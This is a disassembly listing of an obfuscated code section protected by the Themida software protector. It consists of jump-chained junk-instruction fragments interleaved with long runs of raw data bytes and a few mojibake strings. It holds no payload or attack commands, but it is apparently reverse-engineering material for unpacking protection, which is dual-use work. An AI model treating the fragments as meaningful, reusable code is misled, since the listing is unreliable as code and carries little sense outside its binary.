loc_5476C3: ; CODE XREF: Themida_:00546E0Aj sub ebp, edx mov edx, [esp] add esp, 4 mov edx, [esp] jmp loc_549A84 ; --------------------------------------------------------------------------- db 5 dd 4, 405h, 24048700h, 4EC835Ch, 56240C89h, 0C534C2BEh dd 0F7509670h, 56582414h, 0FFDD7DE9h, 24448AFFh, 245C8802h dd 665B6602h, 0F6D92458h, 34C0FED0h, 0FEABE9A9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547712: ; CODE XREF: Themida_:00545ACAj mov ecx, 4 add ebp, ecx jmp loc_545257 ; --------------------------------------------------------------------------- dw 2958h dd 62E955C3h, 31FFFFF3h, 68C831C1h, 0FB6h, 68243C89h, 6FDDh dd 68243489h, 2BCh, 0BD242C89h, 7D4645B8h, 0FFFE9FE9h dd 0E9C9FEFFh, 93A2h, 0E9240489h, 891Eh, 321B68h, 241C8900h dd 3BB4E9h, 2434FF00h, 0CDAE9h, 0B0C58100h, 0E9B316F0h dd 88DAh ; --------------------------------------------------------------------------- loc_54777C: ; CODE XREF: Themida_:00545252j add ebp, esi sub ebp, 517C232Fh pop esi add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 push ebp jmp loc_54950A ; --------------------------------------------------------------------------- dd 875FF801h, 248B2404h, 0E9E9F724h, 3172h ; --------------------------------------------------------------------------- loc_5477A8: ; CODE XREF: Themida_:0054D9CAj xor eax, 64CB050Dh mov ecx, eax pop eax pop esi xor ebx, ecx jmp loc_54A876 ; --------------------------------------------------------------------------- a13Sct db '1<$3<$\ИФ▓',0 align 4 dd 9011B2BEh, 8BFE311Eh, 0C481243Ch, 4, 0E95DEE31h, 6993h dd 0FF384289h, 68582434h, 2536h, 0E9241C89h, 866Ah ; --------------------------------------------------------------------------- loc_5477F0: ; CODE XREF: Themida_:0054D112j add eax, edi pop edi add eax, 4 xchg eax, [esp] jmp loc_5508CE ; --------------------------------------------------------------------------- dw 0C89h dd 0B2F4B524h, 4433E932h, 0C3810000h, 50770568h, 0CCBF575Eh dd 0E9533715h, 87D3h, 0F2142EBBh, 0E3AAE92Dh, 0B868FFFFh dd 5400005Bh, 5724048Fh, 0FFE4E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_547835: ; CODE XREF: Themida_:0054C642j add ecx, eax pop eax jmp loc_54802F ; --------------------------------------------------------------------------- loc_54783D: ; CODE XREF: Themida_:0054F1C1j pop ebp push ecx jmp loc_54E268 ; --------------------------------------------------------------------------- dd 4C481h, 14870000h, 0C895C24h, 0CDB3E924h, 8B66FFFFh dd 57682414h, 89000069h, 0E789243Ch, 0A6E95355h, 89000005h dd 4C281E2h, 0E9000000h, 5E60h, 4C6815Ch, 87000000h, 248B2434h dd 4BE46824h, 57E90000h, 5300004Ah, 91CBE951h, 0E9830000h dd 240C8704h, 242C895Ch, 883B2EBDh, 5DE93107h, 34328A2Dh dd 9942D3Ah, 0E3E902C2h, 5200008Dh, 1883E9h, 0C895C00h dd 0DEF0E924h, 0C788FFFFh, 1C8BFD88h, 4C48124h, 0E9000000h dd 4B61h, 34E9E389h, 83000083h, 2C8904ECh, 4BD24h, 0EB010000h dd 74FF535Dh, 8F5B0424h, 248B2404h, 0E9F9F724h, 0FFFFFB7Ah dd 0CF281CB7h, 26BEE9h, 1685100h, 59000000h, 8B1C4F09h dd 8952240Ch, 4BB53E2h, 1000000h, 0EA815BDAh, 4, 31241433h dd 14332414h, 1C895C24h, 0A2E95424h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54793B: ; CODE XREF: Themida_:0054E390j pop edi pop ecx mov eax, 5C596CD9h sub eax, ebp jmp loc_54643F ; --------------------------------------------------------------------------- db 50h, 0B8h, 0Ch aTjXskg db '%БJ)цXИk┐',0 dw 6600h dd 9C2404FFh, 0FFCCA8E9h, 241487FFh, 749BE95Ch, 0E6C10000h dd 39F68103h, 817EB16Ch, 0DC8DFDF6h, 5500508h, 392D4130h dd 0E915532Bh, 362Ch, 0C7885404h, 136EE958h, 81590000h dd 4ECh, 0E9A3E900h, 0EB80FFFFh, 80D3286Bh, 0DDE96BC3h dd 80FFFFD7h, 0E95089F1h, 0FFFFEEACh, 74FF555Ah, 8F5D0424h dd 248B2404h, 66F1F624h, 81CCB60Fh, 4ECh, 240C8900h, 10AA68h dd 24248900h, 4240483h, 0E92434FFh, 4511h, 59E828h, 669104F0h dd 0C6B6525Ah, 23E9F028h, 8000007Dh, 6AE901EBh, 28000016h dd 2A068D8h, 1C890000h, 0ECE95224h, 81000088h, 0A51A9FEFh dd 161AE900h, 0E95E0000h, 0FFFFE340h, 3108EDC1h, 0E9EF31FDh dd 85D3h, 81242C8Bh, 4C4h, 4BF5700h, 0E9000000h, 16CBh dd 8B304A29h, 0C481240Ch, 4, 1B28E961h, 0EA810000h, 5E043693h dd 81240C8Bh, 4C4h, 4C28100h, 33000000h, 14312414h, 24143324h dd 8124248Bh, 4C4h, 9CC83B00h, 7B67E9h, 3209B800h, 0C8294207h dd 0D1C38159h, 120374Bh, 0D1EB81C3h, 5820374Bh, 2474FF53h dd 8AE95B04h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547AA3: ; CODE XREF: Themida_:0054559Cj add ecx, 0FF67FB54h add edi, ecx jmp loc_546CA5 ; --------------------------------------------------------------------------- dd 0D8003A2Ch, 0D0C7B652h, 0E9CEFEEEh, 6DE7h, 0E95EF089h dd 4B23h ; --------------------------------------------------------------------------- loc_547AC8: ; CODE XREF: Themida_:005491B0j mov al, 25h jmp loc_54CA54 ; --------------------------------------------------------------------------- db 56h dd 2A1AB850h, 48356C7Ch, 2D6CD41Bh, 5E906C32h, 105D0F7h dd 0C1000000h, 402D08E8h, 89FB979Bh, 814658C6h, 0A94278E6h dd 0F4F68100h, 0F7123240h, 5ED8E9DEh, 0A1B40000h, 0FFD174E9h dd 1EE81FFh, 0D1000000h, 7CE5E9E6h, 0F2800000h, 4EC83FFh dd 52240C89h, 0FFDB8FE9h, 685051FFh, 8FD7537h, 1E04E9h dd 24048100h, 4, 0E92434FFh, 2000h, 5A04F381h, 0EBC13383h dd 0AEB8106h, 81B3221Eh, 0CE28E9EBh, 81DBF73Ch, 43ABD5F3h dd 5BD929A8h, 0C181C101h, 449147CDh, 5624048Bh, 64E9E689h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547B77: ; CODE XREF: Themida_:00547EC2j mov ecx, [esp] add esp, 4 push edi jmp loc_54B522 ; --------------------------------------------------------------------------- loc_547B83: ; CODE XREF: Themida_:0054E8BDj push dword ptr [esp] jmp loc_55087B ; --------------------------------------------------------------------------- db 30h dd 0B0505AD7h, 0E9373401h, 5A5Bh, 0FFCA6CE9h, 29595FFFh dd 242C8BE9h, 4C481h, 0C330000h, 240C3124h, 8B240C33h dd 89662424h, 4AE92404h, 0FFFFFFCAh, 48B2434h, 0D39AE924h dd 0C483FFFFh, 4EC8104h, 89000000h, 0E954243Ch, 641h, 0E23F672Dh dd 0B8B2D7Eh, 0D8016CBCh, 59CF68h, 242C8900h, 2C63E9BDh dd 5356534Ch, 7A5FF6BBh, 0D989512Dh, 9EE9CE89h db 87h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547C07: ; CODE XREF: Themida_:0054BB84j add ebp, ebx pop ebx xchg ebp, [esp] mov esp, [esp] mov ax, [esp] push 26h mov [esp], ebx push 7C0Ch mov [esp], esp add dword ptr [esp], 4 jmp loc_54A5D7 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 85644CB8h, 7F212D57h, 59054CE2h, 0E9566A11h, 41C9h dd 0FF92E9ADh, 0C31FFFFh, 240C3324h, 0F24248Bh, 5F5457C8h dd 8904EC83h, 52E9240Ch db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547C63: ; CODE XREF: Themida_:0054DEF1j sub dword ptr [esp+4], 4C086CF2h sub dword ptr [esp+4], 6562350Fh add dword ptr [esp+4], 14736826h add [esp+4], edi sub dword ptr [esp+4], 14736826h add dword ptr [esp+4], 6562350Fh jmp loc_547232 ; --------------------------------------------------------------------------- dd 42ACC381h, 0F3810C85h, 0D7B864Dh, 6250492Dh, 2E8E95Bh dd 47B60000h, 835AF328h, 896602ECh, 0B450240Ch, 47BEE9DAh dd 0B8BA0000h, 816B9C7Dh, 0BB6815C2h, 0C2814204h, 44692F0Fh dd 4EC8153h, 89000000h, 0BF57240Ch, 6DF97212h, 2770E9h dd 2600BA00h, 10E9684Ah, 5A000052h, 0FE10E950h, 0DEBFFFFFh dd 0E95F040Bh, 258Bh, 2414895Ch, 1B77E9h, 93EE8000h, 861DE953h dd 0F4680000h, 57000035h, 0C781E789h, 4, 4EF81h, 3C870000h dd 14E95C24h, 81FFFFD7h, 4C7h, 243C8700h, 8B24248Bh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 jmp loc_54F8E6 ; --------------------------------------------------------------------------- loc_547D4C: ; CODE XREF: Themida_:00548C59j push ebp push edx jmp loc_547224 ; --------------------------------------------------------------------------- db 58h dd 8104EFC1h, 1C1385CFh, 0FDEF811Ah, 811ABD33h, 7C5AF7h dd 8BF82910h, 0E955243Ch, 0FFFFE411h, 88E9D3F7h, 50000068h dd 6B41BD55h, 0ED814EFAh, 3A533261h, 4F61F581h, 0ED813421h dd 45E80CBCh, 0F581DDF7h, 1224E2B2h, 0C15D5855h, 74E908E8h dd 0FFFFFFCCh, 48B2434h, 4C48324h, 5585450h, 4, 46F4BF57h dd 0BA527B6Dh, 3B3B0DF9h, 0E315B951h, 0BDE918F8h, 0B900008Ah dd 603C7498h, 5359C801h, 0D8ECE951h, 5866FFFFh, 1C8BD828h dd 44A1E924h, 2C310000h, 242C3324h, 5324248Bh, 0B951E389h dd 37DD4761h, 0E981E1D1h, 6FBA8EBEh, 173AEB81h, 0CB0155A1h dd 14E8E9h, 0C85BB00h, 0DD897976h, 0FFC5815Bh, 52FFFFFFh dd 5717B3BAh, 0C9E2816Fh, 810E7756h, 0C51AD4EAh, 2DF28149h dd 0E9BDE7F7h, 593Dh, 24148750h, 4868D2F7h, 89000018h dd 10E92414h, 87FFFFF3h, 248B241Ch, 0D318E924h, 0C2FEFFFFh dd 0C008E2C0h, 0D9E907EAh, 52000085h, 0A9430CBAh, 5AD0095Dh dd 6777E625h, 38662D60h, 4D2D2BADh, 50E875E3h, 0A6242C81h dd 591AEA01h, 1A6C181h, 51581AEAh, 0C1815954h, 4, 0FFF9F9E9h dd 6E1C1FFh, 0CE04C181h, 0CA013AF3h, 83240C8Bh, 0C28304C4h dd 24148702h, 0E924248Bh, 6FB2h ; --------------------------------------------------------------------------- loc_547EBC: ; CODE XREF: Themida_:0054E87Fj add [ecx], esi pop esi push dword ptr [esp] jmp loc_547B77 ; --------------------------------------------------------------------------- db 1 dd 34FF5DE8h, 0E9505A24h, 2DAEh, 204D8D2Dh, 5F00167h, 67204D8Dh dd 90685E5Eh, 89000015h, 62B82404h, 0E90DAC2Eh, 482Fh dd 5051E389h, 880D98B8h, 3414B923h, 0C10124F5h, 4C05E9h dd 28E95E00h, 0C0FFFFF4h, 25E904E7h, 81000015h, 4C6h, 4C68100h dd 87000000h, 248B2434h, 0C6DBE924h, 505EFFFFh, 2B8h, 58C50100h dd 6C9D68h, 242C8900h, 42474FFh, 0E92434FFh, 6586h, 0EC80CC28h dd 0D4F6599Ah, 14E9D4F6h, 4500005Dh, 2881F581h, 0E901041Ah dd 3F86E9h db 0 ; --------------------------------------------------------------------------- loc_547F69: ; CODE XREF: Themida_:00549E74j push 11E9692Ch pop eax neg eax inc eax sub eax, 76910026h add eax, 887A6955h add edx, eax pop eax xchg edx, [esp] pop esp push ecx push ebp mov ebp, 6F833E28h neg ebp dec ebp jmp loc_54640A ; --------------------------------------------------------------------------- dw 0CF05h aYUsB db 'y',9,'uИжb',0 align 4 aBASYspp db '│а²г',0Dh,'А!нYИ▐P',0 align 2 dw 1C89h dd 2474FF24h, 0EE8DE904h, 2C8BFFFFh, 5F01E924h, 0F5880000h dd 0FFC97BE9h, 5AD529FFh, 51746857h, 0E95F356Ch, 4DFh dd 4EC8351h, 0E9242C89h, 0FFFFD233h ; --------------------------------------------------------------------------- loc_547FE0: ; CODE XREF: Themida_:00547094j mov ecx, 4 add esi, ecx mov ecx, [esp] add esp, 4 jmp loc_54DCED ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FEF6E953h, 0E95CFFFFh, 0FFFFEEA3h ; --------------------------------------------------------------------------- loc_548004: ; CODE XREF: Themida_:0054D5B4j sub eax, ecx sub eax, 2B02147Bh pop ecx push 4BD7h mov [esp], ebx mov ebx, 6C0A5F91h push ecx mov ecx, esp jmp loc_545543 ; --------------------------------------------------------------------------- loc_548021: ; CODE XREF: Themida_:0054E2C3j push eax mov eax, 4 add edi, eax pop eax jmp loc_5452E1 ; --------------------------------------------------------------------------- loc_54802F: ; CODE XREF: Themida_:00547838j push esi push eax jmp loc_5498CD ; --------------------------------------------------------------------------- dw 0EA30h dd 0EA30D530h, 54F65166h, 8B660124h, 0C483240Ch, 80EA8602h dd 0D0304FF2h, 3EB805Ah, 4C91E952h, 4050000h, 5930E624h dd 0EFDEE950h, 0C481FFFFh, 4, 5B52E9h, 241C8900h, 18FEE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54807A: ; CODE XREF: Themida_:0054AAFFj xchg ebp, [esp] pop esp push small 3EB7h mov [esp], ax mov al, 8Ch jmp loc_5495F8 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 4BFh, 0E3BD5500h, 0D17AEA44h, 0A3C581E5h, 4D4CC516h dd 3A73E9h, 67B55100h, 0EF0007B7h, 32F78059h, 4F8F780h dd 2CF80080h, 0D8285B80h, 8904EC83h, 0A4B5240Ch, 78B35366h dd 5B66D828h, 7804E828h, 623BE9h, 24048700h, 242C895Ch dd 389168h, 0BDE95400h, 51000007h, 42474FFh, 24048F59h dd 6624248Bh, 0E9C8B60Fh, 4015h, 6BDDE981h, 0F1813943h dd 3956A18Bh, 8159C889h, 345A3C1h, 81C10132h, 345A3E9h dd 0E3685832h, 8900001Ch, 0B850242Ch, 1BF14C1Bh, 0B2083C0Dh dd 46DCE922h, 89660000h, 9EE9241Ch db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54813F: ; CODE XREF: Themida_:0054D1CBj pop ebp add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push eax push esp pop eax add eax, 4 jmp loc_547058 ; --------------------------------------------------------------------------- dd 0EF72E95Dh, 0CBFEFFFFh, 0E95EC380h, 50E1h, 4C48358h dd 0E905EFC0h, 0FFFFE443h, 8049B652h, 0C6804EEEh, 80CEFE01h dd 2BE969CEh, 0E9000088h, 0FFFFC479h, 240C8B66h, 56595451h dd 85EB6BEh, 38EE8147h, 0E9683076h, 0FFFFF4BDh ; --------------------------------------------------------------------------- loc_5481A8: ; CODE XREF: Themida_:0054644Bj push ecx push esi mov esi, eax mov ecx, esi pop esi jmp loc_5474DC ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFD073h, 24048F54h, 4240483h, 8324048Fh dd 8B042404h, 0C483240Ch, 4C18104h, 52000000h, 4BAh, 5AD12900h dd 0FFD660E9h, 0BABF57FFh, 815EB46Dh, 6DF16FF7h, 5FF901B3h dd 0FFCFAFE9h, 4C481FFh, 57000000h, 976CDEBFh, 6852h, 3C290000h dd 0E7C15F24h, 0FCE95503h, 5A00007Ch, 0FFEC19E9h, 0C7815FFFh dd 4, 0E904C783h, 0FFFFD8A3h, 15FFB01h, 7603E9CBh, 47680000h dd 89000037h, 2BB241Ch, 89000000h, 830EE9DFh, 9B680000h dd 89000053h, 0E389241Ch, 5D8F6852h, 815A3951h, 4E3486E2h dd 7627E95Ah, 815B0000h, 266615CAh, 7AE94211h, 1000059h dd 0D5015EF5h, 5F2AED81h, 875A0045h, 248B242Ch, 24048124h dd 610B17C5h, 55636855h, 2C8B410Bh, 4C48324h, 4244481h dd 33FA27B6h, 4246C29h, 4246C81h, 33FA27B6h, 77B5E9h db 0 ; --------------------------------------------------------------------------- loc_5482B1: ; CODE XREF: Themida_:0054D20Aj mov ecx, [esp] add esp, 4 jmp loc_54E8CB ; --------------------------------------------------------------------------- db 53h dd 0FFF557E9h, 4C481FFh, 81000000h, 0F30712CBh, 335CE92Ch dd 815A0000h, 4C2h, 4C28300h, 0E9241487h, 55E1h, 0EF8035B7h dd 5BFC005Ch, 0E7885352h, 505BFE88h, 719CE9h db 0 ; --------------------------------------------------------------------------- loc_5482FD: ; CODE XREF: Themida_:0054AB64j pop ebp add esp, 4 push esi push esp pop esi add esi, 4 jmp loc_54D6CF ; --------------------------------------------------------------------------- db 81h dd 1E9h, 36C18100h, 0E9085E60h, 0FFFFCEABh, 48BC121h, 4C48324h dd 530AE9C1h, 0E92434FFh, 0FFFFD371h, 0E9242C89h, 179Fh dd 0E9240433h, 0FFFFC946h ; --------------------------------------------------------------------------- loc_548344: ; CODE XREF: Themida_:0054516Dj push eax jmp loc_547392 ; --------------------------------------------------------------------------- loc_54834A: ; CODE XREF: Themida_:0054C67Ej inc ebp sub ebp, 4DBB2240h mov edx, ebp pop ebp xor edx, 4CE34B87h push edi jmp loc_54B403 ; --------------------------------------------------------------------------- dd 0DFDBA52h, 0D30149B5h, 1924E9h db 0 ; --------------------------------------------------------------------------- loc_54836D: ; CODE XREF: Themida_:0054D6C0j push 53ABh mov [esp], ecx mov ecx, esp push edx mov edx, 59B450E4h shr edx, 7 jmp loc_546B86 ; --------------------------------------------------------------------------- db 45h, 81h, 0E5h dd 47BB7640h, 3DA0F581h, 0BB53647Ch, 7A511C06h, 4051C381h dd 0F3817802h, 2419247Dh, 47E7C381h, 0C3814C49h, 92AD7BC1h dd 22E9DD01h, 21000078h, 0CA8159CAh, 3E3670EEh, 240CFF52h dd 8124148Bh, 4C4h, 3E17E900h, 0EC830000h, 6468E904h, 0D1880000h dd 0CA88C1FEh, 0CA805966h, 16EA8005h, 885AD788h, 88535BF9h dd 2BE951CFh, 8BFFFFC7h, 0BCE92424h, 83000028h, 0E95304C4h dd 0FFFFD804h, 77DDE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54840E: ; CODE XREF: Themida_:00550750j xchg esi, [esp] pop esp jmp loc_54563A ; --------------------------------------------------------------------------- db 31h dd 4332404h, 0F1F75C24h, 457868h, 24148900h, 7405E9h db 0 ; --------------------------------------------------------------------------- loc_54842D: ; CODE XREF: Themida_:0054A0CDj mov [esp], ebx mov eax, [esp] jmp loc_545C86 ; --------------------------------------------------------------------------- dd 53FFC380h, 0E92414F6h, 7608h, 42E9C801h, 0FFFFFFEEh dd 48B2434h, 4C48124h, 0E9000000h, 86A5h, 51240489h, 0FE552AB9h dd 6EE9816Fh, 81140161h, 4B6B12E9h, 37C1817Ch, 8148732Ah dd 0BB6B03C9h, 5E9C124h, 0BE92E981h, 0C8898596h, 7144E9h db 0 ; --------------------------------------------------------------------------- loc_54848D: ; CODE XREF: Themida_:0054C275j sub ebp, 45856A74h shr ebp, 8 shr ebp, 3 neg ebp xor ebp, 8CE0A4Dh xor ebp, 0F796A9E8h jmp loc_54D758 ; --------------------------------------------------------------------------- dd 0F7E9D089h, 8100000Dh, 1E7C6AEFh, 0FBC78102h, 8111B472h dd 0E998E4C7h, 55E1E974h, 0D0010000h, 77D8E9h, 0E9E28900h dd 27Ah, 4C281h, 0C2810000h, 4, 31241433h, 60E92414h, 81000035h dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 68552414h, 62F858E4h dd 55BFE95Dh, 148B0000h, 0CBB6E924h, 0C380FFFFh, 5E3C001h dd 2C75EB80h, 433EE9A3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548526: ; CODE XREF: Themida_:0054ED46j or edx, 1BAA79C0h sub edx, 0BBE779DDh mov ecx, edx pop edx and eax, ecx pop ecx shr eax, 12h xor eax, ecx xchg eax, esi push 79E7h mov [esp], esi xchg edx, [esp] xchg edi, edx push edi not dword ptr [esp] pop edi xchg edi, edx jmp loc_54B192 ; --------------------------------------------------------------------------- db 68h dd 159Ch, 6603E9h, 240C8B00h, 56F1E9h, 0C3C38000h, 288EEA80h dd 8EC280DAh, 5AD0305Bh, 0B60FC330h, 8734FFC0h, 0FFC084E9h dd 4875BFFh, 24248B24h, 24048966h, 0FFC074E9h, 240433FFh dd 0E924248Bh, 72DDh ; --------------------------------------------------------------------------- loc_5485A0: ; CODE XREF: Themida_:00549064j mov ebp, esp jmp loc_54CA79 ; --------------------------------------------------------------------------- db 0FFh dd 505B2434h, 4055854h, 0E9000000h, 1828h, 8904EC83h, 0B9512414h dd 2, 5359CA89h, 492BF9BBh, 5BD8011Ch, 0F92DD001h, 5A1C492Bh dd 31240433h, 86E92404h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5485E3: ; CODE XREF: Themida_:0054B524j add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_54B15D ; --------------------------------------------------------------------------- dw 0ED81h dd 41D51ED5h, 41B3BF57h, 0C78112BEh, 69F54177h, 449DC781h dd 0F7816B60h, 320139E9h, 3FC8EF81h, 0FD293729h, 0DECBE95Fh dd 8158FFFFh, 4EBh, 687DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548632: ; CODE XREF: Themida_:0054FC0Ej mov esp, [esp] push edx mov edx, esp push esi mov esi, 66C23395h add esi, 2F603C17h or esi, 7B023B88h add esi, 719C441Bh push 3861h mov [esp], ebp mov ebp, 8F413C3Dh add esi, ebp jmp loc_54DE1C ; --------------------------------------------------------------------------- dd 0E932FF66h, 0FFFFBF9Dh, 8B04C483h, 0DCE9242Ch, 89FFFFDCh dd 4C281E2h, 81000000h, 4C2h, 24148700h, 5B54535Ch, 4C381h dd 0DB680000h, 89000052h, 19682404h, 8900004Ch, 5B9240Ch dd 0E9420732h, 0FFFFF3D5h, 8D5C381h, 0F3810401h, 21E9218Ah dd 1C8BD889h, 4C48324h, 2128E9h, 18C58100h, 115A208h, 2684E9F5h dd 87580000h, 0E95C2414h, 71FCh, 81241C8Bh, 4C4h, 0AD66800h dd 6FE90000h, 80FFFFE0h, 0CE88B9C1h, 7EEC059h, 0E92DC680h dd 43A3h ; --------------------------------------------------------------------------- loc_548700: ; CODE XREF: Themida_:00546E31j mov edx, [esp] add esp, 4 mov [ebx], al jmp loc_54C7BA ; --------------------------------------------------------------------------- db 1, 0E8h, 0E9h dd 5E12h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch dd 0E1BF243Ch, 52277715h, 53E9BF57h, 0FA89499Eh, 5AD7315Fh dd 24ABE9h db 0 ; --------------------------------------------------------------------------- loc_548741: ; CODE XREF: Themida_:0054E9C0j dec edi xor edi, 0A9DD6675h sub ebp, edi pop edi add ebx, ebp jmp loc_54C596 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 8704EA83h, 0E95C2414h, 7906h, 3C2BE981h, 7BE93C35h dd 81000081h, 4C4h, 24048F00h, 48B665Ch, 3DE0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548782: ; CODE XREF: Themida_:00548AFEj mov eax, 2 add ecx, eax mov eax, [esp] add esp, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_545497 ; --------------------------------------------------------------------------- db 0ADh, 81h, 0EEh dd 2BE525DCh, 8904EC83h, 6FE92404h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5487AF: ; CODE XREF: Themida_:0054A5A2j push 4AF5h mov [esp], edi mov edi, 10h mov esi, edi push dword ptr [esp] pop edi jmp loc_550185 ; --------------------------------------------------------------------------- db 0BFh dd 4, 797AE9h, 3328BF00h, 0EFC130B6h, 81D7F708h, 87DCECFh dd 0F1BE565Bh, 31FA642Dh, 88E95EF7h, 0BEFFFFDAh, 66FF0FD3h dd 0B451F0BAh, 5EF23167h, 4245429h, 8324148Bh, 0E904C4h dd 81000002h, 4C3h, 241C8700h, 5F7CE9h, 0D4B6800h, 53E90000h dd 8100002Eh, 4C3h, 4C38100h, 87000000h, 248B241Ch, 0B9B95124h dd 816BCE4Dh, 0E872FFC9h, 0F7E9876Ah, 41E987D5h, 75FEB850h dd 0C131106Eh, 0F8E98158h, 0E9437274h, 17DDh ; --------------------------------------------------------------------------- loc_54885C: ; CODE XREF: Themida_:0054CB67j add esp, 4 push ecx jmp loc_54B60D ; --------------------------------------------------------------------------- dd 5C241487h, 8F665466h, 0D0E92404h, 0B3000047h, 0CDDAE9F7h dd 48FFFFFh, 24048324h, 3CFEE904h, 2C890000h, 0FE895624h dd 56EEE9h, 7FE58100h, 0F736AC17h, 43C581D5h, 0E94BB709h dd 0FFFFDD24h, 8324048Fh, 0E9042404h, 2F5Ch, 2C76B951h dd 0E9815C06h, 47AB4408h, 0E9C1D9F7h, 0CCF18105h, 81526079h dd 0C2AE92C1h, 408AE9AAh, 5A5F0000h, 792968h, 242C8900h dd 468h, 52E95D00h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5488EB: ; CODE XREF: Themida_:0054CA5Ej or ah, 0AFh jmp loc_54F452 ; --------------------------------------------------------------------------- db 89h dd 0DDE9241Ch, 8AFFFFEFh, 0C4832414h, 0FFC28004h, 0E9B1C280h dd 55C7h, 4C481h, 0C4830000h, 0E382E904h, 0E951FFFFh, 6E34h ; --------------------------------------------------------------------------- loc_548920: ; CODE XREF: Themida_:00550756j push eax jmp loc_54F99A ; --------------------------------------------------------------------------- dw 0B151h dd 0B2C1805Eh, 0F6F5C980h, 8CE180D1h, 6E00E9h, 40500h dd 4870000h, 93685C24h, 89000058h, 0CE92414h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54894F: ; CODE XREF: Themida_:0054CFB4j mov [esp], ebx push ebp mov ebp, 28h mov ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_54EB8A ; --------------------------------------------------------------------------- dd 5AD00158h, 4BE56h, 0F0010000h, 4CC0E95Eh, 14890000h dd 6882B224h, 0 dd 0E9241428h, 0FFFFFF6Fh, 5AB668ADh, 14890000h, 1EF0BA24h dd 0E2814755h, 9C55146h, 569E9h, 0E9CA3000h, 787Dh ; --------------------------------------------------------------------------- loc_5489AC: ; CODE XREF: Themida_:00544B46j add edi, 4 xchg edi, [esp] jmp loc_54BEE9 ; --------------------------------------------------------------------------- dw 532Ch dd 5968F028h, 8900002Dh, 30E9241Ch, 50000035h, 0EC815854h dd 4, 57243489h, 3F467CBFh, 0C1D7F771h, 6DE905EFh, 68000054h dd 50D50F5Bh, 11BDE95Bh, 66C30000h, 68240C8Bh, 64FFh, 72E2E9h dd 4BF00h, 7EE90000h, 59000047h, 23BF5753h, 81014B5Eh dd 4ECh, 243C8900h, 2434FF5Bh, 4C4835Fh, 1C9EC181h, 0D9015C30h dd 1C9EE981h, 1C8B5C30h, 4C48324h, 4EC81h, 9DE90000h, 5A000032h dd 0C480D4F6h, 84B75301h, 0E939E780h, 0FFFFF4BBh, 2BFh dd 5FF90100h, 6096E957h, 34FF0000h, 4585E924h, 835A0000h dd 1C8704EBh, 34895C24h, 41BCBE24h, 0BD5540CCh, 37461EC3h dd 0E95DEA01h, 0FFFFBF3Ch, 77E9C331h, 0BD000064h, 0AA23CF85h dd 62DBE9h, 243C8B00h, 4C481h, 0C4E90000h, 8BFFFFC5h, 8957242Ch dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 2C7815Ch, 33000000h dd 3C31243Ch, 243C3324h, 6624248Bh, 9C240CD3h, 0FFBB30E9h db 0FFh ; --------------------------------------------------------------------------- loc_548AD9: ; CODE XREF: Themida_:0054F660j xchg esi, ebp xchg edi, esi not edi xchg edi, esi xchg esi, ebp shl ebp, 4 and ebp, 7ECB253Eh add ebp, 0F3F4FFD4h add ecx, ebp mov ebp, [esp] add esp, 4 push eax jmp loc_548782 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 63B26800h, 4890000h, 4B824h, 0C3290000h, 3E1BE958h dd 34FF0000h, 89515E24h, 4C181E1h, 83000000h, 6DE904C1h dd 66000038h, 6824048Bh, 34D4h, 0E9242C89h, 325Dh, 6F34DBBBh dd 3BEB8139h, 1A8F4C7h, 2D9BE9DEh, 685F0000h, 16DEh, 0B9240C89h dd 6C5A474Ch, 4B1AE9h, 0EBEE8100h, 56D954EAh, 0B5243481h dd 8B6CAC47h, 8AE9241Ch, 50FFFFDFh, 4C22EBB8h, 69D2E936h dd 0F7890000h, 0FFE2D5E9h, 81EB29FFh, 0C70553EBh, 0FB015D04h dd 44D7C381h, 58E97266h, 80FFFFE5h, 0B3539DCEh, 55F3806Bh dd 80D4EB80h, 13E9FCF3h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548BBB: ; CODE XREF: Themida_:00549D9Aj push esi jmp loc_545D3A ; --------------------------------------------------------------------------- loc_548BC1: ; CODE XREF: Themida_:005450C7j pop edx jmp loc_54955B ; --------------------------------------------------------------------------- aLVichT db '▀,$V┴Фh',7,'T',0 align 2 dw 1C89h dd 2130BB24h, 7E95D27h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548BDF: ; CODE XREF: Themida_:0054C25Ej mov ebx, esp jmp loc_54A7DF ; --------------------------------------------------------------------------- loc_548BE6: ; CODE XREF: Themida_:0054B8A4j jmp loc_544609 ; --------------------------------------------------------------------------- aYsj db 'YИ╕!',0 dd 0C0A9B100h, 0E98003E9h, 1DF8E9B9h, 0F1870000h, 81F18746h dd 464282C9h, 9EE98111h, 0E9F75FDBh, 0FFFFE38Bh ; --------------------------------------------------------------------------- loc_548C14: ; CODE XREF: Themida_:00549E3Ej jmp loc_544609 ; 